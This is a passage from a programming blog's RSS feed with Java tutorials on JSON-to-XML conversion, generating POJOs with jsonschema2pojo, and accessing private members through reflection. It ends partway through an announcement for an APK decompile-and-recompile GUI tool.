&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) We call the method json2XML which we created passing the json to be converted&lt;br /&gt;
2) The return value of function contains the resulting xml&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;json2XML method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public String json2XML(String jsonString){  
           JSONObject json = new JSONObject(jsonString);  
           String xml = XML.toString(json);  
           return xml;  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) We pass the Json String to be converted into the JSONObject&lt;br /&gt;
2) We use the toString method of XML class passing the json object created in Step1&lt;br /&gt;
3) Step2 gives the resulting xml which is then returned.&lt;br /&gt;
4) If you want to give a root node for resulting xml then you can provide the root xml node as second argument in toString method from Step2&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import org.json.JSONObject;  
 import org.json.XML;  
 public class Json2XML {  
      /**  
       * @param args  
       */  
      public static void main(String[] args) {  
           // TODO Auto-generated method stub  
           String jsonString=&quot;{\&quot;name\&quot;:\&quot;Virat\&quot;,\&quot;sport\&quot;:\&quot;cricket\&quot;,\&quot;age\&quot;:25,\&quot;id\&quot;:121,\&quot;lastScores\&quot;:[72,23,57,54,36,74,17]}&quot;;  
           System.out.println(new Json2XML().json2XML(jsonString));  
      }  
      public String json2XML(String jsonString){  
           JSONObject json = new JSONObject(jsonString);  
           String xml = XML.toString(json);  
           return xml;  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Input:&lt;/b&gt;&lt;br /&gt;
{&quot;name&quot;:&quot;Virat&quot;,&quot;sport&quot;:&quot;cricket&quot;,&quot;age&quot;:25,&quot;id&quot;:121,&quot;lastScores&quot;:[77,72,23,57,54,36,74,17]}&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&amp;lt;name&amp;gt;Virat&amp;lt;/name&amp;gt;&amp;lt;lastScores&amp;gt;77&amp;lt;/lastScores&amp;gt;&amp;lt;lastScores&amp;gt;72&amp;lt;/lastScores&amp;gt;&amp;lt;lastScores&amp;gt;23&amp;lt;/lastScores&amp;gt;&amp;lt;lastScores&amp;gt;57&amp;lt;/lastScores&amp;gt;&amp;lt;lastScores&amp;gt;54&amp;lt;/lastScores&amp;gt;&amp;lt;lastScores&amp;gt;36&amp;lt;/lastScores&amp;gt;&amp;lt;lastScores&amp;gt;74&amp;lt;/lastScores&amp;gt;&amp;lt;lastScores&amp;gt;17&amp;lt;/lastScores&amp;gt;&amp;lt;id&amp;gt;121&amp;lt;/id&amp;gt;&amp;lt;sport&amp;gt;cricket&amp;lt;/sport&amp;gt;&amp;lt;age&amp;gt;25&amp;lt;/age&amp;gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Hope it helps :)&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/05/convert-json-to-xml-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-7945547014349864637</guid><pubDate>Fri, 26 May 2017 16:14:00 +0000</pubDate><atom:updated>2017-05-26T09:17:45.650-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">class</category><category domain="http://www.blogger.com/atom/ns#">convert</category><category domain="http://www.blogger.com/atom/ns#">jackson</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">json</category><category domain="http://www.blogger.com/atom/ns#">jsonschema2pojo</category><category domain="http://www.blogger.com/atom/ns#">pojo</category><category domain="http://www.blogger.com/atom/ns#">schema</category><title>Convert Json to POJO using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
If you have a json which you want to map into POJO without writing the full POJO class then you can make use of jsonschema2pojo library. This is an excellent library which would create Java classes using your input JSON&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program Language&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pom Dependency&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;     &amp;lt;dependency&amp;gt;  
       &amp;lt;groupId&amp;gt;org.jsonschema2pojo&amp;lt;/groupId&amp;gt;  
       &amp;lt;artifactId&amp;gt;jsonschema2pojo-core&amp;lt;/artifactId&amp;gt;  
       &amp;lt;version&amp;gt;0.4.35&amp;lt;/version&amp;gt;  
     &amp;lt;/dependency&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Git Repo:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/convertJson2Pojo&quot;&gt;https://github.com/csanuragjain/extra/tree/master/convertJson2Pojo&lt;/a&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;b&gt;Program&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;main method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void main(String[] args) {  
           String packageName=&quot;com.cooltrickshome&quot;;  
           File inputJson= new File(&quot;.&quot;+File.separator+&quot;input.json&quot;);  
           File outputPojoDirectory=new File(&quot;.&quot;+File.separator+&quot;convertedPojo&quot;);  
           outputPojoDirectory.mkdirs();  
           try {  
                new JsonToPojo().convert2JSON(inputJson.toURI().toURL(), outputPojoDirectory, packageName, inputJson.getName().replace(&quot;.json&quot;, &quot;&quot;));  
           } catch (IOException e) {  
                // TODO Auto-generated catch block  
                System.out.println(&quot;Encountered issue while converting to pojo: &quot;+e.getMessage());  
                e.printStackTrace();  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) &amp;nbsp;packageName defines the package name of the output pojo class&lt;br /&gt;
2) inputJson defines the json which need to be converted to POJO&lt;br /&gt;
3) outputPojoDirectory is the local path where pojo files would be created&lt;br /&gt;
4) We call the convert2JSON method which we created passing the input json, output path, packageName and the output pojo class name&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;convert2JSON method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public void convert2JSON(URL inputJson, File outputPojoDirectory, String packageName, String className) throws IOException{  
           JCodeModel codeModel = new JCodeModel();  
           URL source = inputJson;  
           GenerationConfig config = new DefaultGenerationConfig() {  
           @Override  
           public boolean isGenerateBuilders() { // set config option by overriding method  
           return true;  
           }  
           public SourceType getSourceType(){  
       return SourceType.JSON;  
     }  
           };  
           SchemaMapper mapper = new SchemaMapper(new RuleFactory(config, new Jackson2Annotator(config), new SchemaStore()), new SchemaGenerator());  
           mapper.generate(codeModel, className, packageName, source);  
           codeModel.build(outputPojoDirectory);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) &amp;nbsp;We make object of JCodeModel which will be used to generate Java class&lt;br /&gt;
2) We define the configuration for jsonschema2pojo which lets the program know get input source file is JSON (getSourceType method)&lt;br /&gt;
3) &amp;nbsp;Now we pass the config to Schemamapper along with the codeModel created in Step1 which creates the JavaType from provided Json&lt;br /&gt;
4) Finally we call the build method to create the output class&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.io.File;  
 import java.io.IOException;  
 import java.net.MalformedURLException;  
 import java.net.URL;  
 import org.jsonschema2pojo.DefaultGenerationConfig;  
 import org.jsonschema2pojo.GenerationConfig;  
 import org.jsonschema2pojo.Jackson2Annotator;  
 import org.jsonschema2pojo.SchemaGenerator;  
 import org.jsonschema2pojo.SchemaMapper;  
 import org.jsonschema2pojo.SchemaStore;  
 import org.jsonschema2pojo.SourceType;  
 import org.jsonschema2pojo.rules.RuleFactory;  
 import com.sun.codemodel.JCodeModel;  
 public class JsonToPojo {  
      /**  
       * @param args  
       */  
      public static void main(String[] args) {  
           String packageName=&quot;com.cooltrickshome&quot;;  
           File inputJson= new File(&quot;.&quot;+File.separator+&quot;input.json&quot;);  
           File outputPojoDirectory=new File(&quot;.&quot;+File.separator+&quot;convertedPojo&quot;);  
           outputPojoDirectory.mkdirs();  
           try {  
                new JsonToPojo().convert2JSON(inputJson.toURI().toURL(), outputPojoDirectory, packageName, inputJson.getName().replace(&quot;.json&quot;, &quot;&quot;));  
           } catch (IOException e) {  
                // TODO Auto-generated catch block  
                System.out.println(&quot;Encountered issue while converting to pojo: &quot;+e.getMessage());  
                e.printStackTrace();  
           }  
      }  
      public void convert2JSON(URL inputJson, File outputPojoDirectory, String packageName, String className) throws IOException{  
           JCodeModel codeModel = new JCodeModel();  
           URL source = inputJson;  
           GenerationConfig config = new DefaultGenerationConfig() {  
           @Override  
           public boolean isGenerateBuilders() { // set config option by overriding method  
           return true;  
           }  
           public SourceType getSourceType(){  
       return SourceType.JSON;  
     }  
           };  
           SchemaMapper mapper = new SchemaMapper(new RuleFactory(config, new Jackson2Annotator(config), new SchemaStore()), new SchemaGenerator());  
           mapper.generate(codeModel, className, packageName, source);  
           codeModel.build(outputPojoDirectory);  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Input Json:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; {&quot;name&quot;:&quot;Virat&quot;,&quot;sport&quot;:&quot;cricket&quot;,&quot;age&quot;:25,&quot;id&quot;:121,&quot;lastScores&quot;:[77,72,23,57,54,36,74,17]}  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Output Class generated:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.util.ArrayList;  
 import java.util.HashMap;  
 import java.util.List;  
 import java.util.Map;  
 import com.fasterxml.jackson.annotation.JsonAnyGetter;  
 import com.fasterxml.jackson.annotation.JsonAnySetter;  
 import com.fasterxml.jackson.annotation.JsonIgnore;  
 import com.fasterxml.jackson.annotation.JsonInclude;  
 import com.fasterxml.jackson.annotation.JsonProperty;  
 import com.fasterxml.jackson.annotation.JsonPropertyOrder;  
 import org.apache.commons.lang.builder.EqualsBuilder;  
 import org.apache.commons.lang.builder.HashCodeBuilder;  
 import org.apache.commons.lang.builder.ToStringBuilder;  
 @JsonInclude(JsonInclude.Include.NON_NULL)  
 @JsonPropertyOrder({  
   &quot;name&quot;,  
   &quot;sport&quot;,  
   &quot;age&quot;,  
   &quot;id&quot;,  
   &quot;lastScores&quot;  
 })  
 public class Input {  
   @JsonProperty(&quot;name&quot;)  
   private String name;  
   @JsonProperty(&quot;sport&quot;)  
   private String sport;  
   @JsonProperty(&quot;age&quot;)  
   private Integer age;  
   @JsonProperty(&quot;id&quot;)  
   private Integer id;  
   @JsonProperty(&quot;lastScores&quot;)  
   private List&amp;lt;Integer&amp;gt; lastScores = new ArrayList&amp;lt;Integer&amp;gt;();  
   @JsonIgnore  
   private Map&amp;lt;String, Object&amp;gt; additionalProperties = new HashMap&amp;lt;String, Object&amp;gt;();  
   @JsonProperty(&quot;name&quot;)  
   public String getName() {  
     return name;  
   }  
   @JsonProperty(&quot;name&quot;)  
   public void setName(String name) {  
     this.name = name;  
   }  
   public Input withName(String name) {  
     this.name = name;  
     return this;  
   }  
   @JsonProperty(&quot;sport&quot;)  
   public String getSport() {  
     return sport;  
   }  
   @JsonProperty(&quot;sport&quot;)  
   public void setSport(String sport) {  
     this.sport = sport;  
   }  
   public Input withSport(String sport) {  
     this.sport = sport;  
     return this;  
   }  
   @JsonProperty(&quot;age&quot;)  
   public Integer getAge() {  
     return age;  
   }  
   @JsonProperty(&quot;age&quot;)  
   public void setAge(Integer age) {  
     this.age = age;  
   }  
   public Input withAge(Integer age) {  
     this.age = age;  
     return this;  
   }  
   @JsonProperty(&quot;id&quot;)  
   public Integer getId() {  
     return id;  
   }  
   @JsonProperty(&quot;id&quot;)  
   public void setId(Integer id) {  
     this.id = id;  
   }  
   public Input withId(Integer id) {  
     this.id = id;  
     return this;  
   }  
   @JsonProperty(&quot;lastScores&quot;)  
   public List&amp;lt;Integer&amp;gt; getLastScores() {  
     return lastScores;  
   }  
   @JsonProperty(&quot;lastScores&quot;)  
   public void setLastScores(List&amp;lt;Integer&amp;gt; lastScores) {  
     this.lastScores = lastScores;  
   }  
   public Input withLastScores(List&amp;lt;Integer&amp;gt; lastScores) {  
     this.lastScores = lastScores;  
     return this;  
   }  
   @Override  
   public String toString() {  
     return ToStringBuilder.reflectionToString(this);  
   }  
   @JsonAnyGetter  
   public Map&amp;lt;String, Object&amp;gt; getAdditionalProperties() {  
     return this.additionalProperties;  
   }  
   @JsonAnySetter  
   public void setAdditionalProperty(String name, Object value) {  
     this.additionalProperties.put(name, value);  
   }  
   public Input withAdditionalProperty(String name, Object value) {  
     this.additionalProperties.put(name, value);  
     return this;  
   }  
   @Override  
   public int hashCode() {  
     return new HashCodeBuilder().append(name).append(sport).append(age).append(id).append(lastScores).append(additionalProperties).toHashCode();  
   }  
   @Override  
   public boolean equals(Object other) {  
     if (other == this) {  
       return true;  
     }  
     if ((other instanceof Input) == false) {  
       return false;  
     }  
     Input rhs = ((Input) other);  
     return new EqualsBuilder().append(name, rhs.name).append(sport, rhs.sport).append(age, rhs.age).append(id, rhs.id).append(lastScores, rhs.lastScores).append(additionalProperties, rhs.additionalProperties).isEquals();  
   }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Hope it helps :)&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/05/convert-json-to-pojo.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>1</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-1069615449080145980</guid><pubDate>Tue, 04 Apr 2017 16:28:00 +0000</pubDate><atom:updated>2017-04-04T09:29:35.355-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">constructor</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">method</category><category domain="http://www.blogger.com/atom/ns#">modify</category><category domain="http://www.blogger.com/atom/ns#">private</category><category domain="http://www.blogger.com/atom/ns#">reflection</category><category domain="http://www.blogger.com/atom/ns#">reverse</category><category domain="http://www.blogger.com/atom/ns#">runtime</category><category domain="http://www.blogger.com/atom/ns#">variable</category><category domain="http://www.blogger.com/atom/ns#">write</category><title>Java Reflection- Accessing/Modifying private methods/fields</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
In this post we would access and modify private methods and fields from a class using Java Reflection. This operation wont be possible normally with Java.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Focus Area:&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Access a method from a class having private constructor.&lt;/li&gt;
&lt;li&gt;Access a private method&lt;/li&gt;
&lt;li&gt;Access/Modify a private variable&lt;/li&gt;
&lt;/ol&gt;
&lt;b&gt;Git Repo:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/ReflectionAccessModifyPrivateData&quot;&gt;https://github.com/csanuragjain/extra/tree/master/ReflectionAccessModifyPrivateData&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Related:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.in/2017/02/java-reflection-reading-unknown-class.html&quot;&gt;https://cooltrickshome.blogspot.in/2017/02/java-reflection-reading-unknown-class.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Unknown2.java:&lt;/b&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 public class Unknown2 {  
      private final String msg=&quot;This is final string from private variable&quot;;  
      private Unknown2(){  
      }  
      private String privateWelcome(String message)  
      {  
           message=message+&quot; processed by private method&quot;;  
           return message;  
      }  
      public void showMessage(){  
           System.out.println(&quot;I should not be called since this class constructor is private&quot;);  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Explanation:&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;This class has a private variable which is also final. So any other class should not ideally be able to access or modify it.&lt;/li&gt;
&lt;li&gt;The constructor of this class is private so you should not be able to create an instance of this class. Because of this we should not be able to call showMessage function.&lt;/li&gt;
&lt;li&gt;Method privateWelcome is private so another class should not be able to call this method.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;b&gt;AccessPrivateData.java&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.lang.reflect.Constructor;  
 import java.lang.reflect.Field;  
 import java.lang.reflect.Method;  
 public class AccessPrivateData {  
      public static void main(String[] args) throws Exception {  
           Class c=Class.forName(&quot;com.cooltrickshome.Unknown2&quot;);  
           //Class&amp;lt;Unknown2&amp;gt; c=Unknown2.class;  
           Constructor&amp;lt;Unknown2&amp;gt; constr=c.getDeclaredConstructor();  
           constr.setAccessible(true);  
           Unknown2 s=(Unknown2)constr.newInstance();   
           System.out.println(&quot;Calling method from class with private constructor:&quot;);  
           s.showMessage();   
           System.out.println();  
           Field field = c.getDeclaredField(&quot;msg&quot;);  
           field.setAccessible(true);  
           System.out.println(&quot;Calling private field:&quot;);  
           System.out.println(field.get(s));  
           System.out.println();  
           System.out.println(&quot;Changing a final variable value:&quot;);  
           field.set(s, &quot;I have change a private final variable&quot;);  
           System.out.println(field.get(s));  
           System.out.println();  
           Method m= c.getDeclaredMethod(&quot;privateWelcome&quot;, String.class);  
           m.setAccessible(true);  
           Object o=m.invoke(s, &quot;Calling private method&quot;);  
           System.out.println(&quot;Calling private method:&quot;);  
           System.out.println(o);  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;Explanation:&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;We will bypass all the constraint and access all the private data from Unknown2 class&lt;/li&gt;
&lt;li&gt;First we reference our Unknown2 class by using Class.forName passing the class to be accessed along with package name.&lt;/li&gt;
&lt;li&gt;Now we obtain the constructor of Unknown2 class by callling the getDeclaredConstructor method&lt;/li&gt;
&lt;li&gt;Since this contructor is private, so we remove the constraint by setting setAccessible as true&lt;/li&gt;
&lt;li&gt;Now we can create a new instance using newInstance method.&lt;/li&gt;
&lt;li&gt;Since an instance is ready so we can simply call the showMessage method&lt;/li&gt;
&lt;li&gt;Now lets access the private variable&lt;/li&gt;
&lt;li&gt;We obtain the private variable of Unknown2 class by calling getDeclaredField passing the field name.&lt;/li&gt;
&lt;li&gt;We call setAccessible to true on this field so that we can access this field even though it is private.&lt;/li&gt;
&lt;li&gt;Now we can retrieve this field value by simply calling get method passing the class instance object.&lt;/li&gt;
&lt;li&gt;Now lets change the final field value.&lt;/li&gt;
&lt;li&gt;Since this field setAccessible is already set to true earlier, we simply call the set method passing the Unknown2 class object and the new field value.&lt;/li&gt;
&lt;li&gt;Now lets access the private method.&lt;/li&gt;
&lt;li&gt;We obtain the private method by calling the getDeclaredMethod passing the private method name nd the type of argument it accepts (in our case the method needs a String)&lt;/li&gt;
&lt;li&gt;We call setAccessible to true on this method so that we can access this method even though it is private.&lt;/li&gt;
&lt;li&gt;We call the method by using invoke method, passing an instance of this class and the argument value.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Calling method from class with private constructor:  
 I should not be called since this class constructor is private  
 Calling private field:  
 This is final string from private variable  
 Changing a final variable value:  
 I have change a private final variable  
 Calling private method:  
 Calling private method processed by private method  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Hope it helps :)&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/04/java-reflection-accessingmodifying.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>2</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-7543286847001616026</guid><pubDate>Thu, 30 Mar 2017 13:30:00 +0000</pubDate><atom:updated>2017-04-01T04:38:36.242-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">access</category><category domain="http://www.blogger.com/atom/ns#">android</category><category domain="http://www.blogger.com/atom/ns#">apk</category><category domain="http://www.blogger.com/atom/ns#">class</category><category domain="http://www.blogger.com/atom/ns#">decompile</category><category domain="http://www.blogger.com/atom/ns#">dex</category><category domain="http://www.blogger.com/atom/ns#">edit</category><category domain="http://www.blogger.com/atom/ns#">jar</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">modify</category><category domain="http://www.blogger.com/atom/ns#">patch</category><category domain="http://www.blogger.com/atom/ns#">recompile</category><category domain="http://www.blogger.com/atom/ns#">recreate</category><category domain="http://www.blogger.com/atom/ns#">reflection</category><category domain="http://www.blogger.com/atom/ns#">repatch</category><category domain="http://www.blogger.com/atom/ns#">reverse</category><category domain="http://www.blogger.com/atom/ns#">smali</category><title>APKRepatcher - Now Decompile &amp; Recompile APK with easy GUI</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif;&quot;&gt;APKRepatcher helps you to modify an existing apk using a simple user friendly GUI. It lets you edit java/smali code from an APK and rewrite the changes back to the modified signed APK. Additionally, it provides you option to convert Dex, Jar, Class, Smali, Class from one format to another. APKRepatcher makes use of dex2jar, jadx, rsyantaxtextarea, zip4j, apktool&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;span style=&quot;font-size: 18px;&quot;&gt;&lt;b&gt;Features:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Decompiles/Recompiles the APK.&lt;/li&gt;
&lt;li&gt;Provides an editor to change the decompiled java code.&lt;/li&gt;
&lt;li&gt;Compiles the code using javac and saves the updated class.&lt;/li&gt;
&lt;li&gt;Allows you to view smali version of your modified java code.&lt;/li&gt;
&lt;li&gt;Allows you to edit smali from the original apk or from your modified java code&lt;/li&gt;
&lt;li&gt;Smali changes once saved would be reflected back in updated apk after building project.&lt;/li&gt;
&lt;li&gt;Build features re-creates new apk with all code changes and lastly it would resign the apk.&lt;/li&gt;
&lt;li&gt;Basic features like find/replace/increase or decrease font are also provided.&lt;/li&gt;
&lt;li&gt;It also allows you to convert from Dex to Jar/Class/Smali/Java, Jar to Dex/Java, Class to Dex/Smali, Smali to Class/Java/Dex. Also allows to extract and sign any apk.&lt;/li&gt;
&lt;li&gt;Allows you to change the amount of memory utilized by APKRepatcher.&lt;/li&gt;
&lt;li&gt;Patch Module&lt;/li&gt;
&lt;li&gt;APKRepatcher is created using Java with no os dependency (as far as i think) so you can run it with various OS&lt;/li&gt;
&lt;li&gt;100% Free&lt;/li&gt;
&lt;/ol&gt;
&lt;b style=&quot;font-family: &amp;quot;times new roman&amp;quot;, serif; font-size: 18px;&quot;&gt;How to run:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; java -jar APKRepatcher.jar  &lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
